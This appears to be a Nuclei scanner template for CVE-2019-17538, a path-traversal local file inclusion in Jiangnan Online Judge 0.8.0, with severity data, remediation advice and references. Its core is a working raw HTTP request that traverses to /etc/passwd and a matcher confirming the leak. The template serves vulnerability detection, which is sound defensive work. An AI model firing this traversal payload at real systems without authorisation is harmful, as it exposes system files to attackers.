id: CVE-2019-17538

info:
  name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
  remediation: |
    Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/shi-yang/jnoj/issues/53
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17538
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17538
    cwe-id: CWE-22
    epss-score: 0.00838
    epss-percentile: 0.80153
    cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jnoj
    product: jiangnan_online_judge
  tags: cve,cve2019,jnoj,lfi

http:
  - raw:
      - |
        GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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